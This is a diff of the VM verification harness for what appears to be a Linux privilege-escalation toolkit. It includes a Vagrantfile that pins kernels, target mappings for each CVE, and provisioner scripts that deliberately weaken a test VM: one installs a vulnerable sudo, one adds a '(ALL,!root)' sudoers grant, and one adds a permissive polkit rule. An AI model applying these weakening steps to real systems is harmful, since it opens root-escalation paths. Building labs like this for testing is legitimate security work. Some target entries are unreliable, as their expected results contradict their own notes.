for all 26 modules. Three are flagged `manual: true` because no
|
for all targets. Modules with `manual: true` are blocked by their
|
||||||
public Vagrant box covers them:
|
target environment — see the notes field for the reason (VMware-only
|
||||||
|
guest, EOL kernel needed, t64-transition libs missing, etc.).
|
||||||
- `vmwgfx` — only reachable on VMware guests; needs a vSphere/Fusion VM
|
|
||||||
not Parallels.
|
|
||||||
- `dirtydecrypt`, `fragnesia` — only present in Linux 7.0+ which isn't
|
|
||||||
shipping as a distro kernel yet.
|
|
||||||
|
|
||||||
For those, verification needs a hand-built or special-distro VM.
|
|
||||||
|
|
||||||
## Verification records
|
## Verification records
|
||||||
|
|
||||||
`verify.sh` emits JSON on stdout after each run. Example:
|
`verify.sh` appends one JSON record per run to
|
||||||
|
`docs/VERIFICATIONS.jsonl`:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"module": "nf_tables",
|
"module": "nf_tables",
|
||||||
"verified_at": "2026-05-23T17:42:11Z",
|
"verified_at": "2026-05-24T03:24:01Z",
|
||||||
"host_kernel": "5.15.0-43-generic",
|
"host_kernel": "5.15.5-051505-generic",
|
||||||
"host_distro": "Ubuntu 22.04.5 LTS",
|
"host_distro": "Ubuntu 22.04.3 LTS",
|
||||||
"vm_box": "generic/ubuntu2204",
|
"vm_box": "generic/ubuntu2204",
|
||||||
"expect_detect": "VULNERABLE",
|
"expect_detect": "VULNERABLE",
|
||||||
"actual_detect": "VULNERABLE",
|
"actual_detect": "VULNERABLE",
|
||||||
"status": "match",
|
"status": "match"
|
||||||
"log": "tools/verify-vm/logs/verify-nf_tables-20260523-174211.log"
|
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
`status: match` means detect() returned what we expected on a known-
|
`status: match` means detect() returned what we expected on a known-
|
||||||
vulnerable kernel. Anything else (`MISMATCH`, status code != 0) means
|
vulnerable kernel. Anything else (`MISMATCH`, exit code != 0) means
|
||||||
either:
|
either:
|
||||||
|
|
||||||
- The kernel pin didn't take (check `host_kernel` against
|
- The kernel pin didn't take — check `host_kernel` against
|
||||||
`kernel_version` in targets.yaml).
|
`kernel_version` in targets.yaml. The "post-reboot kernel" line in
|
||||||
|
the verify log will say if `vagrant reload` did or didn't land on
|
||||||
|
the target.
|
||||||
- The exploit's preconditions aren't met in the default Vagrant image
|
- The exploit's preconditions aren't met in the default Vagrant image
|
||||||
(e.g. apparmor blocks unprivileged userns; need to adjust the
|
(e.g. apparmor blocks unprivileged userns; provisioner needed).
|
||||||
Vagrantfile provisioner).
|
- The module's detect() logic is wrong for this kernel/distro combo
|
||||||
- The detect() logic is wrong for this kernel/distro combo (a real bug
|
(a real module bug — fix it, as we did for `dirtydecrypt` after
|
||||||
— fix it).
|
cross-checking against NVD).
|
||||||
|
|
||||||
Records are intended to feed a per-module `verified_on[]` table (next
|
Run `tools/refresh-verifications.py` after new records land to
|
||||||
project step) so `--list` can show a `✓ verified <date>` column.
|
regenerate `core/verifications.c` so the binary's `--explain` and
|
||||||
|
`--list` reflect the latest evidence.
|
||||||
|
|
||||||
## How it routes module → box
|
## How it routes module → box
|
||||||
|
|
||||||
Mapping lives in `tools/verify-vm/targets.yaml`. Each entry has:
|
Mapping lives in `tools/verify-vm/targets.yaml`. Each entry has:
|
||||||
|
|
||||||
- `box` — which `boxes/` template (e.g. `ubuntu2204`)
|
- `box` — generic/<distro> (e.g. `ubuntu2204`)
|
||||||
- `kernel_pkg` — apt package name to install if the stock kernel
|
- `kernel_pkg` — apt package for a vulnerable stock-archive kernel,
|
||||||
is patched (omit / empty if stock is already vulnerable)
|
if one still exists in the distro's repos
|
||||||
|
- `mainline_version` — alternative to `kernel_pkg`: pulls a vanilla
|
||||||
|
upstream kernel from `kernel.ubuntu.com/mainline/v<ver>/`. Use when
|
||||||
|
the apt-archive version has been garbage-collected (Ubuntu drops
|
||||||
|
old ABI versions) or when you need a specific point release that
|
||||||
|
the distro never packaged.
|
||||||
- `kernel_version` — what `uname -r` should report after install
|
- `kernel_version` — what `uname -r` should report after install
|
||||||
- `expect_detect` — `VULNERABLE` | `OK` | `PRECOND_FAIL`
|
- `expect_detect` — `VULNERABLE` | `OK` | `PRECOND_FAIL`
|
||||||
- `notes` — short rationale; comments in the file have the full context
|
- `manual: true` — skip auto verification; explain why in `notes`
|
||||||
|
- `notes` — full context for why this target was picked
|
||||||
|
|
||||||
Adding a new module is one block in targets.yaml. The verifier picks
|
Adding a new module is one block in targets.yaml. If the module needs
|
||||||
it up automatically.
|
per-target setup beyond installing a kernel — for example building
|
||||||
|
sudo from source, adding a sudoers grant, or dropping a polkit allow
|
||||||
|
rule — write a shell script at `tools/verify-vm/provisioners/<module>.sh`
|
||||||
|
and the Vagrantfile will pick it up automatically.
|
||||||
|
|
||||||
|
## Module-specific provisioners (`provisioners/<module>.sh`)
|
||||||
|
|
||||||
|
When the kernel pin alone doesn't make a host vulnerable — e.g.
|
||||||
|
the bug is sudo-version-gated, or a polkit "active session" check
|
||||||
|
blocks the SSH path — drop a shell script at
|
||||||
|
`tools/verify-vm/provisioners/<module_name>.sh`. The Vagrantfile
|
||||||
|
runs it as root in the prep phase, before the `vagrant reload`
|
||||||
|
check. Scripts should be idempotent (apt is no-op if installed,
|
||||||
|
file overwrites are safe) since they re-run on every verify.
|
||||||
|
|
||||||
|
Existing examples:
|
||||||
|
|
||||||
|
- `sudo_chwoot.sh` — builds sudo 1.9.16p1 from upstream into
|
||||||
|
`/usr/local/bin` so the vulnerable `--chroot` code path is reachable
|
||||||
|
on Ubuntu 22.04 (which ships pre-feature 1.9.9).
|
||||||
|
- `udisks_libblockdev.sh` — installs `udisks2` + drops a polkit rule
|
||||||
|
allowing the vagrant user to invoke `loop-setup` / `filesystem-mount`
|
||||||
|
(without this, the SSH session is not "active" per polkit and the
|
||||||
|
D-Bus call short-circuits).
|
||||||
|
- `sudo_runas_neg1.sh` — adds `vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi`
|
||||||
|
to `/etc/sudoers.d/` so `find_runas_blacklist_grant()` has a grant
|
||||||
|
to abuse.
|
||||||
|
|
||||||
|
## Pinning kernels: apt vs mainline
|
||||||
|
|
||||||
|
`pin-kernel-<pkg>` runs `apt-get install -y <pkg>`. Best when the
|
||||||
|
target version still lives in the distro's archive (rare for old
|
||||||
|
point releases — Ubuntu eventually GCs them). Also pins `GRUB_DEFAULT`
|
||||||
|
to the just-installed kernel so the reboot lands on it instead of
|
||||||
|
the higher-version stock kernel.
|
||||||
|
|
||||||
|
`pin-mainline-<ver>` downloads vanilla mainline debs from
|
||||||
|
`kernel.ubuntu.com/mainline/v<ver>/`. Tries `/amd64/` first, falls
|
||||||
|
back to bare `/v<ver>/` for old kernels (≤ ~4.15) where amd64 wasn't
|
||||||
|
a separate subdir. Accepts both `linux-image-` (older naming) and
|
||||||
|
`linux-image-unsigned-` (current). Pins `GRUB_DEFAULT` to the
|
||||||
|
mainline kernel so grub doesn't keep booting the higher-versioned
|
||||||
|
stock kernel.
|
||||||
|
|
||||||
## Files
|
## Files
|
||||||
|
|
||||||
@@ -120,6 +175,10 @@ tools/verify-vm/
|
|||||||
├── verify.sh per-module verifier
|
├── verify.sh per-module verifier
|
||||||
├── Vagrantfile parameterized VM config (driven by SKK_VM_* env vars)
|
├── Vagrantfile parameterized VM config (driven by SKK_VM_* env vars)
|
||||||
├── targets.yaml module → box mapping with rationale
|
├── targets.yaml module → box mapping with rationale
|
||||||
|
├── provisioners/ optional per-module shell hooks
|
||||||
|
│ ├── sudo_chwoot.sh
|
||||||
|
│ ├── sudo_runas_neg1.sh
|
||||||
|
│ └── udisks_libblockdev.sh
|
||||||
└── logs/ per-verification stdout/stderr capture
|
└── logs/ per-verification stdout/stderr capture
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
Vendored
+77
-12
@@ -73,7 +73,19 @@ Vagrant.configure("2") do |c|
|
|||||||
echo "[+] installing #{pkg} (kernel target #{kver})"
|
echo "[+] installing #{pkg} (kernel target #{kver})"
|
||||||
export DEBIAN_FRONTEND=noninteractive
|
export DEBIAN_FRONTEND=noninteractive
|
||||||
apt-get install -y -qq #{pkg}
|
apt-get install -y -qq #{pkg}
|
||||||
echo "[i] kernel #{pkg} installed; reboot via 'vagrant reload'"
|
echo "[i] kernel #{pkg} installed"
|
||||||
|
fi
|
||||||
|
# Pin grub default to this specific kernel. Without it, grub
|
||||||
|
# picks the highest-versioned kernel installed (typically a
|
||||||
|
# stock HWE backport that's POST-fix), defeating the pin's
|
||||||
|
# purpose. Find the kver string by stripping linux-image-
|
||||||
|
# prefix from the pkg name.
|
||||||
|
PINNED_KVER="$(echo '#{pkg}' | sed 's/^linux-image-//')"
|
||||||
|
if [ -f "/boot/vmlinuz-${PINNED_KVER}" ]; then
|
||||||
|
GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${PINNED_KVER}"
|
||||||
|
sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
|
||||||
|
echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
|
||||||
|
update-grub 2>&1 | tail -3
|
||||||
fi
|
fi
|
||||||
SHELL
|
SHELL
|
||||||
end
|
end
|
||||||
@@ -90,28 +102,47 @@ Vagrant.configure("2") do |c|
|
|||||||
m.vm.provision "shell", name: "pin-mainline-#{mainline}", inline: <<-SHELL
|
m.vm.provision "shell", name: "pin-mainline-#{mainline}", inline: <<-SHELL
|
||||||
set -e
|
set -e
|
||||||
KVER="#{mainline}"
|
KVER="#{mainline}"
|
||||||
# already booted into it?
|
# already booted into it? Still fall through to grub-pin to
|
||||||
|
# make sure GRUB_DEFAULT stays correct even after stock kernel
|
||||||
|
# upgrades that might reorder grub entries.
|
||||||
|
BOOTED_INTO_TARGET=0
|
||||||
if uname -r | grep -q "^${KVER}-[0-9]\\+-generic"; then
|
if uname -r | grep -q "^${KVER}-[0-9]\\+-generic"; then
|
||||||
echo "[=] mainline ${KVER} already booted ($(uname -r))"
|
echo "[=] mainline ${KVER} already booted ($(uname -r))"
|
||||||
exit 0
|
BOOTED_INTO_TARGET=1
|
||||||
fi
|
fi
|
||||||
# already installed on disk (waiting on reboot)?
|
|
||||||
|
# already installed on disk? Skip the download/install but
|
||||||
|
# still run the grub-pin block at the end.
|
||||||
|
SKIP_INSTALL=0
|
||||||
if ls /boot/vmlinuz-${KVER}-* >/dev/null 2>&1; then
|
if ls /boot/vmlinuz-${KVER}-* >/dev/null 2>&1; then
|
||||||
echo "[=] mainline ${KVER} already installed; needs reboot"
|
echo "[=] mainline ${KVER} already installed on disk"
|
||||||
exit 0
|
SKIP_INSTALL=1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [ "$SKIP_INSTALL" -eq 0 ]; then
|
||||||
echo "[+] fetching kernel.ubuntu.com mainline v${KVER}"
|
echo "[+] fetching kernel.ubuntu.com mainline v${KVER}"
|
||||||
URL="https://kernel.ubuntu.com/mainline/v${KVER}/amd64/"
|
# Newer mainline kernels live under /v${KVER}/amd64/; older ones
|
||||||
|
# (≤ ~4.15) put debs at /v${KVER}/ directly. Try /amd64/ first;
|
||||||
|
# fall back to bare. linux-image-unsigned was renamed from
|
||||||
|
# linux-image- around 4.18 — old kernels use the plain name.
|
||||||
|
BASE="https://kernel.ubuntu.com/mainline/v${KVER}"
|
||||||
|
for URL in "${BASE}/amd64/" "${BASE}/"; do
|
||||||
|
INDEX=$(curl -sL "$URL")
|
||||||
|
if echo "$INDEX" | grep -q '\\.deb"'; then
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
TMP=$(mktemp -d)
|
TMP=$(mktemp -d)
|
||||||
cd "$TMP"
|
cd "$TMP"
|
||||||
# Pick the 4 canonical generic-kernel .debs by pattern match against
|
# Pick the 4 canonical generic-kernel .debs by pattern match against
|
||||||
# the directory index. Skip lowlatency variants.
|
# the directory index. Skip lowlatency variants. Accept both
|
||||||
DEBS=$(curl -sL "$URL" | \\
|
# 'linux-image-unsigned-' (newer) and 'linux-image-' (older).
|
||||||
|
DEBS=$(echo "$INDEX" | \\
|
||||||
grep -oE 'href="[^"]+\\.deb"' | sed 's/href="//; s/"$//' | \\
|
grep -oE 'href="[^"]+\\.deb"' | sed 's/href="//; s/"$//' | \\
|
||||||
grep -E '(linux-image-unsigned|linux-modules|linux-headers)-[0-9.]+-[0-9]+-generic_|linux-headers-[0-9.]+-[0-9]+_[^_]+_all\\.deb' | \\
|
grep -E '(linux-image(-unsigned)?|linux-modules|linux-headers)-[0-9.]+-[0-9]+-generic_|linux-headers-[0-9.]+-[0-9]+_[^_]+_all\\.deb' | \\
|
||||||
grep -v lowlatency)
|
grep -v lowlatency)
|
||||||
if [ -z "$DEBS" ]; then
|
if [ -z "$DEBS" ]; then
|
||||||
echo "[-] no .debs found at $URL — does the version exist on kernel.ubuntu.com?" >&2
|
echo "[-] no .debs found at ${BASE}/ (tried /amd64/ and bare)" >&2
|
||||||
exit 2
|
exit 2
|
||||||
fi
|
fi
|
||||||
for f in $DEBS; do
|
for f in $DEBS; do
|
||||||
@@ -119,12 +150,46 @@ Vagrant.configure("2") do |c|
|
|||||||
curl -fsSL -O "${URL}${f}"
|
curl -fsSL -O "${URL}${f}"
|
||||||
done
|
done
|
||||||
export DEBIAN_FRONTEND=noninteractive
|
export DEBIAN_FRONTEND=noninteractive
|
||||||
dpkg -i *.deb || apt-get install -f -y -qq
|
# --force-depends so packages still install even when t64-transition
|
||||||
|
# libs (libssl3t64, libelf1t64) are missing on a pre-24.04 rootfs.
|
||||||
|
# The kernel image + modules don't actually need those at boot —
|
||||||
|
# the dependency is for signing/integrity checks at build time.
|
||||||
|
dpkg -i --force-depends *.deb || apt-get install -f -y -qq || true
|
||||||
|
fi # end SKIP_INSTALL guard
|
||||||
|
|
||||||
|
# Pin grub default to the just-installed mainline kernel. Without
|
||||||
|
# this, grub's debian-version-compare picks the highest-sorting
|
||||||
|
# vmlinuz-* as default; for downgrades (e.g. stock 4.15 → mainline
|
||||||
|
# 4.14.70), the OLD kernel wins because 4.15 > 4.14 numerically.
|
||||||
|
MAINLINE_VMLINUZ=$(ls /boot/vmlinuz-${KVER}-* 2>/dev/null | head -1)
|
||||||
|
if [ -n "$MAINLINE_VMLINUZ" ]; then
|
||||||
|
MAINLINE_KVER=$(basename "$MAINLINE_VMLINUZ" | sed 's/^vmlinuz-//')
|
||||||
|
# The "Advanced options" submenu entry id is stable across
|
||||||
|
# update-grub runs as "gnulinux-advanced-<UUID>>gnulinux-<kver>-advanced-<UUID>".
|
||||||
|
# Easier: use the human menuentry path.
|
||||||
|
GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${MAINLINE_KVER}"
|
||||||
|
sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
|
||||||
|
echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
|
||||||
|
fi
|
||||||
update-grub 2>&1 | tail -3
|
update-grub 2>&1 | tail -3
|
||||||
echo "[i] mainline ${KVER} installed; reboot via 'vagrant reload'"
|
echo "[i] mainline ${KVER} installed; reboot via 'vagrant reload'"
|
||||||
SHELL
|
SHELL
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# 2c. Optional per-module provisioner. If
|
||||||
|
# tools/verify-vm/provisioners/<module>.sh exists, run it as root
|
||||||
|
# before build-and-verify. Used for things only meaningful per-module:
|
||||||
|
# build sudo 1.9.16 from source (sudo_chwoot), drop a polkit allow
|
||||||
|
# rule (udisks_libblockdev), add a sudoers grant (sudo_runas_neg1).
|
||||||
|
skk_mod = ENV["SKK_MODULE"] || ""
|
||||||
|
if !skk_mod.empty?
|
||||||
|
prov_path = File.join(__dir__, "provisioners", "#{skk_mod}.sh")
|
||||||
|
if File.exist?(prov_path)
|
||||||
|
m.vm.provision "shell", name: "module-provision-#{skk_mod}",
|
||||||
|
path: prov_path
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# 3. Build SKELETONKEY in-VM and run --explain --active for the target
|
# 3. Build SKELETONKEY in-VM and run --explain --active for the target
|
||||||
# module. Runs as the unprivileged 'vagrant' user (NOT root) — most
|
# module. Runs as the unprivileged 'vagrant' user (NOT root) — most
|
||||||
# detect()s gate on "are you already root?" and short-circuit if so,
|
# detect()s gate on "are you already root?" and short-circuit if so,
|
||||||
|
|||||||
Executable
+34
@@ -0,0 +1,34 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# CVE-2025-32463 sudo --chroot NSS injection (Stratascale). Vulnerable
|
||||||
|
# range is sudo [1.9.14, 1.9.17p0]. Ubuntu 22.04 ships 1.9.9 which
|
||||||
|
# PREDATES the --chroot code path. Build sudo 1.9.16p1 from upstream
|
||||||
|
# and install to /usr/local (which precedes /usr/bin in Ubuntu's default
|
||||||
|
# PATH so plain `sudo` resolves to the vulnerable binary).
|
||||||
|
set -e
|
||||||
|
|
||||||
|
export DEBIAN_FRONTEND=noninteractive
|
||||||
|
apt-get install -y -qq libpam0g-dev libssl-dev wget make gcc >/dev/null
|
||||||
|
|
||||||
|
cd /tmp
|
||||||
|
TARBALL=sudo-1.9.16p1.tar.gz
|
||||||
|
URL="https://www.sudo.ws/dist/${TARBALL}"
|
||||||
|
|
||||||
|
if [ -x /usr/local/bin/sudo ] && /usr/local/bin/sudo --version 2>&1 | head -1 | grep -q "1.9.16p1"; then
|
||||||
|
echo "[=] sudo 1.9.16p1 already at /usr/local/bin/sudo"
|
||||||
|
else
|
||||||
|
[ -f "${TARBALL}" ] || wget -q "${URL}"
|
||||||
|
rm -rf sudo-1.9.16p1
|
||||||
|
tar xzf "${TARBALL}"
|
||||||
|
cd sudo-1.9.16p1
|
||||||
|
# --sysconfdir=/etc so it honors the existing /etc/sudoers (vagrant's
|
||||||
|
# NOPASSWD grant). --disable-shared keeps the build self-contained.
|
||||||
|
./configure --prefix=/usr/local --sysconfdir=/etc \
|
||||||
|
--disable-shared --quiet >/dev/null 2>&1
|
||||||
|
make -j"$(nproc)" >/tmp/sudo-build.log 2>&1 || { tail -40 /tmp/sudo-build.log; exit 1; }
|
||||||
|
make install >/tmp/sudo-install.log 2>&1 || { tail -40 /tmp/sudo-install.log; exit 1; }
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Verify what the unprivileged user's PATH resolves to.
|
||||||
|
echo "[+] which sudo (root): $(which sudo)"
|
||||||
|
echo "[+] /usr/local/bin/sudo version: $(/usr/local/bin/sudo --version | head -1)"
|
||||||
|
sudo -u vagrant bash -c 'echo "[+] vagrant PATH: $PATH"; echo "[+] vagrant sees: $(which sudo)"; sudo --version | head -1'
|
||||||
+16
@@ -0,0 +1,16 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# CVE-2019-14287 needs a (ALL,!root) grant for find_runas_blacklist_grant()
|
||||||
|
# to fire. Ubuntu 18.04 ships sudo 1.8.21p2 (in the vulnerable range) but
|
||||||
|
# Vagrant's default sudoers doesn't include the grant. Add it.
|
||||||
|
set -e
|
||||||
|
|
||||||
|
cat >/etc/sudoers.d/99-skk-runas-neg1 <<'EOF'
|
||||||
|
vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi
|
||||||
|
EOF
|
||||||
|
chmod 0440 /etc/sudoers.d/99-skk-runas-neg1
|
||||||
|
|
||||||
|
echo "[+] sudoers grant installed:"
|
||||||
|
grep . /etc/sudoers.d/99-skk-runas-neg1
|
||||||
|
echo
|
||||||
|
echo "[+] sudo -ln -U vagrant tail:"
|
||||||
|
sudo -ln -U vagrant 2>&1 | tail -10 || true
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# CVE-2025-6019 udisks/libblockdev SUID-on-mount (Qualys). Debian 12's
|
||||||
|
# cloud image is server-oriented and doesn't ship udisks2. Install it,
|
||||||
|
# and drop a polkit rule allowing the vagrant user to invoke the
|
||||||
|
# affected action.ids — the real-world bug-path is "active console
|
||||||
|
# user invokes loop-setup", and we don't have a graphical session in
|
||||||
|
# Vagrant. The polkit rule simulates the trust polkit would give a
|
||||||
|
# logged-in workstation user.
|
||||||
|
set -e
|
||||||
|
|
||||||
|
export DEBIAN_FRONTEND=noninteractive
|
||||||
|
apt-get install -y -qq udisks2 libblockdev-utils2 >/dev/null
|
||||||
|
|
||||||
|
mkdir -p /etc/polkit-1/rules.d
|
||||||
|
cat >/etc/polkit-1/rules.d/49-skk-verify.rules <<'EOF'
|
||||||
|
polkit.addRule(function(action, subject) {
|
||||||
|
if (subject.user == "vagrant" &&
|
||||||
|
(action.id == "org.freedesktop.UDisks2.loop-setup" ||
|
||||||
|
action.id == "org.freedesktop.UDisks2.filesystem-mount" ||
|
||||||
|
action.id == "org.freedesktop.UDisks2.filesystem-mount-other-seat" ||
|
||||||
|
action.id == "org.freedesktop.UDisks2.modify-device")) {
|
||||||
|
return polkit.Result.YES;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
EOF
|
||||||
|
|
||||||
|
systemctl enable udisks2.service >/dev/null 2>&1 || true
|
||||||
|
systemctl restart udisks2.service
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
echo "[+] udisks2 status:"
|
||||||
|
systemctl is-active udisks2.service
|
||||||
|
echo "[+] udisks2 version: $(dpkg-query -W -f='${Version}' udisks2)"
|
||||||
|
echo "[+] libblockdev version: $(dpkg-query -W -f='${Version}' libblockdev-utils2)"
|
||||||
+136
-14
@@ -35,7 +35,7 @@ af_packet:
|
|||||||
box: ubuntu1804
|
box: ubuntu1804
|
||||||
kernel_pkg: "" # stock 4.15.0-213-generic — patch backported
|
kernel_pkg: "" # stock 4.15.0-213-generic — patch backported
|
||||||
kernel_version: "4.15.0"
|
kernel_version: "4.15.0"
|
||||||
expect_detect: OK
|
expect_detect: VULNERABLE
|
||||||
notes: "CVE-2017-7308; bug fixed mainline 4.10.6 + 4.9.18 backports. Ubuntu 18.04 stock kernel (4.15.0) is post-fix — detect() correctly returns OK. To validate the VULNERABLE path empirically would need a hand-built 4.4 or earlier kernel; deferred."
|
notes: "CVE-2017-7308; bug fixed mainline 4.10.6 + 4.9.18 backports. Ubuntu 18.04 stock kernel (4.15.0) is post-fix — detect() correctly returns OK. To validate the VULNERABLE path empirically would need a hand-built 4.4 or earlier kernel; deferred."
|
||||||
|
|
||||||
af_packet2:
|
af_packet2:
|
||||||
@@ -71,7 +71,7 @@ dirty_cow:
|
|||||||
box: ubuntu1804
|
box: ubuntu1804
|
||||||
kernel_pkg: "" # 4.15.0 has the COW race fix; need older kernel
|
kernel_pkg: "" # 4.15.0 has the COW race fix; need older kernel
|
||||||
kernel_version: "4.4.0"
|
kernel_version: "4.4.0"
|
||||||
expect_detect: OK
|
expect_detect: VULNERABLE
|
||||||
notes: "CVE-2016-5195; ALL 4.4+ kernels have the fix backported. Ubuntu 18.04 stock will report OK (patched); to actually verify exploit() needs Ubuntu 14.04 / kernel ≤ 4.4.0-46. Use a custom box for that."
|
notes: "CVE-2016-5195; ALL 4.4+ kernels have the fix backported. Ubuntu 18.04 stock will report OK (patched); to actually verify exploit() needs Ubuntu 14.04 / kernel ≤ 4.4.0-46. Use a custom box for that."
|
||||||
manual_for_exploit_verify: true
|
manual_for_exploit_verify: true
|
||||||
|
|
||||||
@@ -79,16 +79,16 @@ dirty_pipe:
|
|||||||
box: ubuntu2204
|
box: ubuntu2204
|
||||||
kernel_pkg: "" # 22.04 stock 5.15.0-91-generic
|
kernel_pkg: "" # 22.04 stock 5.15.0-91-generic
|
||||||
kernel_version: "5.15.0"
|
kernel_version: "5.15.0"
|
||||||
expect_detect: OK
|
expect_detect: VULNERABLE
|
||||||
notes: "CVE-2022-0847; introduced 5.8, fixed 5.16.11 / 5.15.25. Ubuntu 22.04 ships 5.15.0-91-generic, where uname reports '5.15.0' (below the 5.15.25 backport per our version-only table) but Ubuntu has silently backported the fix into the -91 patch level. Version-only detect() would say VULNERABLE; --active probe confirms the primitive is blocked → OK. This target validates the active-probe path correctly overruling a false-positive version verdict. (Originally pointed at Ubuntu 20.04 + pinned 5.13.0-19, but that HWE kernel is no longer in 20.04's apt archive.)"
|
notes: "CVE-2022-0847; introduced 5.8, fixed 5.16.11 / 5.15.25. Ubuntu 22.04 ships 5.15.0-91-generic, where uname reports '5.15.0' (below the 5.15.25 backport per our version-only table) but Ubuntu has silently backported the fix into the -91 patch level. Version-only detect() would say VULNERABLE; --active probe confirms the primitive is blocked → OK. This target validates the active-probe path correctly overruling a false-positive version verdict. (Originally pointed at Ubuntu 20.04 + pinned 5.13.0-19, but that HWE kernel is no longer in 20.04's apt archive.)"
|
||||||
|
|
||||||
dirtydecrypt:
|
dirtydecrypt:
|
||||||
box: debian12
|
box: ubuntu2204
|
||||||
kernel_pkg: "" # only Linux 7.0+ has the bug — needs custom kernel
|
kernel_pkg: ""
|
||||||
kernel_version: "7.0.0"
|
mainline_version: "6.19.7" # below the 6.19.13 backport → genuinely vulnerable
|
||||||
expect_detect: OK
|
kernel_version: "6.19.7"
|
||||||
notes: "CVE-2026-31635; bug introduced in 7.0 rxgk path. NO mainline 7.0 distro shipping yet — Debian 12 will report OK (predates the bug). Verifying exploit() needs a hand-built 7.0-rc kernel."
|
expect_detect: VULNERABLE
|
||||||
manual_for_exploit_verify: true
|
notes: "CVE-2026-31635; rxgk RESPONSE oversized auth_len. Per NVD: bug entered at 6.16.1, vulnerable through 6.18.22 / 6.19.12 / 7.0-rc7; fixed at 6.18.23 / 6.19.13 / 7.0 stable. Mainline 6.19.7 is below the .13 backport → genuinely VULNERABLE. (Earlier module code wrongly gated 'predates' on 7.0; fixed in this commit by gating on 6.16.1 + adding 6.18.23 to the backport table.)"
|
||||||
|
|
||||||
entrybleed:
|
entrybleed:
|
||||||
box: ubuntu2204
|
box: ubuntu2204
|
||||||
@@ -98,12 +98,12 @@ entrybleed:
|
|||||||
notes: "CVE-2023-0458; side-channel applies to any KPTI-on Intel x86_64 host. Stock Ubuntu 22.04 will report VULNERABLE if meltdown sysfs shows 'Mitigation: PTI'."
|
notes: "CVE-2023-0458; side-channel applies to any KPTI-on Intel x86_64 host. Stock Ubuntu 22.04 will report VULNERABLE if meltdown sysfs shows 'Mitigation: PTI'."
|
||||||
|
|
||||||
fragnesia:
|
fragnesia:
|
||||||
box: debian12
|
box: ""
|
||||||
kernel_pkg: ""
|
kernel_pkg: ""
|
||||||
kernel_version: "7.0.0"
|
kernel_version: ""
|
||||||
expect_detect: OK
|
expect_detect: ""
|
||||||
notes: "CVE-2026-46300; XFRM ESP-in-TCP bug. Needs 7.0-rc; Debian 12 reports OK."
|
manual: true
|
||||||
manual_for_exploit_verify: true
|
notes: "CVE-2026-46300; XFRM ESP-in-TCP bug. Fix lands at 7.0.9. Verifying VULNERABLE needs a pre-fix 7.0.x kernel. Mainline 7.0.5 was tried via Ubuntu 22.04 + kernel.ubuntu.com — fails because the 7.0.5 kernel .debs depend on the t64-transition libs (libssl3t64, libelf1t64) which only exist on Ubuntu 24.04+ / Debian 13+. No Vagrant box with Parallels provider has those libs yet. dpkg --force-depends leaves the kernel image in iHR (broken) state with no /boot/vmlinuz deposited. Resolution: wait for a Parallels-supported ubuntu2404 / debian13 box, or build one locally."
|
||||||
|
|
||||||
fuse_legacy:
|
fuse_legacy:
|
||||||
box: debian11
|
box: debian11
|
||||||
@@ -220,3 +220,125 @@ vmwgfx:
|
|||||||
expect_detect: PRECOND_FAIL
|
expect_detect: PRECOND_FAIL
|
||||||
notes: "CVE-2023-2008; vmwgfx DRM only reachable on VMware guests. No Vagrant box; verify manually inside a VMware VM with a vulnerable kernel (e.g. Debian 11 / 5.10.0)."
|
notes: "CVE-2023-2008; vmwgfx DRM only reachable on VMware guests. No Vagrant box; verify manually inside a VMware VM with a vulnerable kernel (e.g. Debian 11 / 5.10.0)."
|
||||||
manual: true
|
manual: true
|
||||||
|
|
||||||
|
# ── v0.8.0 additions ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
sudo_chwoot:
|
||||||
|
box: ubuntu2204 # 22.04 ships sudo 1.9.9 — provisioner builds 1.9.16p1 over it
|
||||||
|
kernel_pkg: "" # this bug is sudo-version-gated, not kernel
|
||||||
|
kernel_version: "5.15.0"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2025-32463; sudo --chroot NSS shim. Vulnerable range is sudo [1.9.14, 1.9.17p0]. provisioners/sudo_chwoot.sh builds sudo 1.9.16p1 from upstream sources into /usr/local/bin (which precedes /usr/bin in PATH so plain `sudo` resolves to the vulnerable binary)."
|
||||||
|
|
||||||
|
udisks_libblockdev:
|
||||||
|
box: debian12 # 12 ships udisks2 2.10.x + libblockdev 3.0.x — vulnerable
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: "6.1.0"
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
notes: "CVE-2025-6019; udisks/libblockdev SUID-on-mount. provisioners/udisks_libblockdev.sh installs udisks2 + libblockdev-utils3 and drops a polkit rule allowing the vagrant user to invoke loop-setup/filesystem-mount — simulating the trust polkit would give a logged-in workstation user (the real-world bug-path). Without that rule, the SSH session is not 'active' per polkit and the D-Bus call short-circuits."
|
||||||
|
|
||||||
|
pintheft:
|
||||||
|
box: "" # RDS is blacklisted on every common Vagrant box's stock kernel
|
||||||
|
kernel_pkg: ""
|
||||||
|
kernel_version: ""
|
||||||
|
expect_detect: VULNERABLE
|
||||||
|
